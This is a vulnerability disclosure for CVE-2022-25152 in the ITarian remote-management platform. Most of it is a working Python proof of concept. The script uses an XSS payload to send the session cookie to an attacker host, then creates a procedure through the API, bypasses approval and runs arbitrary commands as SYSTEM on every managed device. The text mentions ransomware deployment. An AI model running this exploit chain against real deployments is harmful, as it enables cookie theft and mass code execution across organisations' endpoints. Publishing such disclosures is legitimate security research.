CVE-2022-25152 - Creation of procedure and bypass approvals by any user with a valid session token (ITarian SaaS platform / on-premise)
Technical details
Creation of procedure and bypass approval (ITarian SaaS platform / on-premise)
If a malicious actor gains access to the Token session cookie, he can create a procedure, bypass approval and run the procedure. Resulting in all agents running arbitrary code as SYSTEM, which could for example be used during ransomware deployment.
The Token session cookie can be retrieved by abusing the XSS vulnerability in the Service Desk module.
Creating and bypassing approval consists of multiple steps. The vulnerability is easily exploited by calling the following three API endpoints in the following order:
/procedure/windows/create
/procedure/windows/update/id/<id>
/procedure/run/device-all
The first API call is used to create a procedure, the second is used to add arbitrary Python code and the last API call bypasses approval and pushes the procedure to all devices. These three steps have been automated in the following Python POC:
# POC made by Wietse Boonstra
#
# Flow
# Send XSS payload to grab SSO-Token - Mail / Ticket
# Send SSO-Token to attacker server
# Request PHPSessionId
# Use PHPSessionId to run 3 commands
# # Create procedure grab ID
# # Update procedure ID with new python code
# # Trigger procedure on all systems
# Wait for shells to rain or calc’s!
#!/bin/python3
import requests
import string
import random
import sys
from requests import sessions
class exploit():
def __init__(self, url, payload, ssotoken):
self.url = url
self.ssotoken = ssotoken
self.payload = payload
self.procedureID = None
self.session = requests.session()
def getPHPsessionId(self):
url = "{}?sso-token={}".format(self.url,self.ssotoken)
print (url)
resp = self.session.get(
url,
verify=False,
allow_redirects=False,
)
if resp.status_code != 302:
print ("Something went wrong, (sessionid?)")
sys.exit()
return True
def createProcedure(self):
url = "{}/procedure/windows/create".format(self.url)
procedureName = ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))
headers = {"X-Requested-With": "XMLHttpRequest"}
json={"model": {"description": "asdasd", "id_category": 1, "name": procedureName }}
resp = self.session.post(
url,
headers=headers,
json=json,
verify=False
)
if resp.status_code != requests.codes.ok:
print ("Something went wrong, (sessionid?)")
sys.exit()
result = resp.json()
self.procedureID = result['model']['id']
print ("Procedure ID: {}".format(self.procedureID))
return self.procedureID
def createProcedurePayload(self):
url = "{}/procedure/windows/update/id/{}".format(self.url, self.procedureID)
headers = {"X-Requested-With": "XMLHttpRequest"}
json={"model":{"script":""}}
json['model']['script'] = """
import os
os.system(\"{}\")
""".format(self.payload)
resp = self.session.patch(
url,
headers=headers,
json=json,
verify=False
)
if resp.status_code != requests.codes.ok:
print ("Something went wrong, (sessionid?)")
sys.exit()
result = resp.json()
print (result)
return True
def runProcedure(self):
url = "{}/procedure/run/device-all".format(self.url)
headers = {"X-Requested-With": "XMLHttpRequest"}
json = {"model":{"target":1,"procedureId":0,"osType":3}}
json['model']['procedureId'] = self.procedureID
resp = self.session.post(
url,
headers=headers,
json=json,
verify=False
)
if resp.status_code != requests.codes.ok:
print ("Something went wrong, (sessionid?)")
sys.exit()
result = resp.json()
print (result)
return True
def xssPayload(url,attackerHost,attackerPort):
# This function could be used to steal the SSO-Token.
# For this to work we need to start a webserver
# This webserver will receive the the XSS payload that contains the SSO-Token
# This Token can then be used to trigger the rest of the exploit chain.
#
#
from lxml import etree
from io import StringIO
from requests_toolbelt import MultipartEncoder
payload = "<script>document.location=\"https://{}:{}/?c=\" + document.cookie</script>".format(attackerHost, attackerPort)
randomEmail = ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))
parser = etree.HTMLParser()
url = "https://{}/open.php".format(url)
r = requests.get(url)
cookie = r.cookies['OSTSESSID']
html = r.content.decode("utf-8")
tree = etree.parse(StringIO(html), parser=parser)
print (tree)
inputs = tree.xpath("//input")
CSRFToken = None
for input in inputs:
if "__CSRFToken__" == input.get('name',''):
CSRFToken = input.get('value','')
labels = tree.xpath("//label")
EmailAddressId = None
FullNameId = None
IssueSummaryId = None
for label in labels:
if "Email Address" in label.text:
EmailAddressId = label.get('for','')
if "Full Name" in label.text:
FullNameId = label.get('for','')
if "Issue Summary" in label.text:
IssueSummaryId = label.get('for','')
url = "https://dddivddd.servicedesk.comodo.com:443/open.php"
cookies = {"OSTSESSID": cookie}
headers = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryUDlpx6O6BsoA2BmY"}
data = """------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"__CSRFToken__\"
{CSRFToken}
------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"a\"
open
------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"topicId\"
10
------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"{EmailAddressId}\"
{randomEmail}@fff.123
------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"{FullNameId}\"
{payload}Administrator
------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"{IssueSummaryId}\"
summary
------WebKitFormBoundaryUDlpx6O6BsoA2BmY
Content-Disposition: form-data; name=\"message\"
Hi
------WebKitFormBoundaryUDlpx6O6BsoA2BmY--
""".format(CSRFToken=CSRFToken,EmailAddressId=EmailAddressId,randomEmail=randomEmail,FullNameId=FullNameId,payload=payload,IssueSummaryId=IssueSummaryId)
ticket = requests.post(url, headers=headers, cookies=cookies, data=data)
if "A support ticket request has been created " in ticket.text:
print ("Payload dropped")
else:
print (ticket.text)
def run(self):
# self.xssPayload()
self.getPHPsessionId()
self.createProcedure()
self.createProcedurePayload()
self.runProcedure()
payload = "c:\\windows\\system32\\cmd.exe /c calc"
x = exploit(url="https://dddivddd-msp.cmdm.comodo.com/", ssotoken="<TOKEN>", payload=payload )
id = x.run()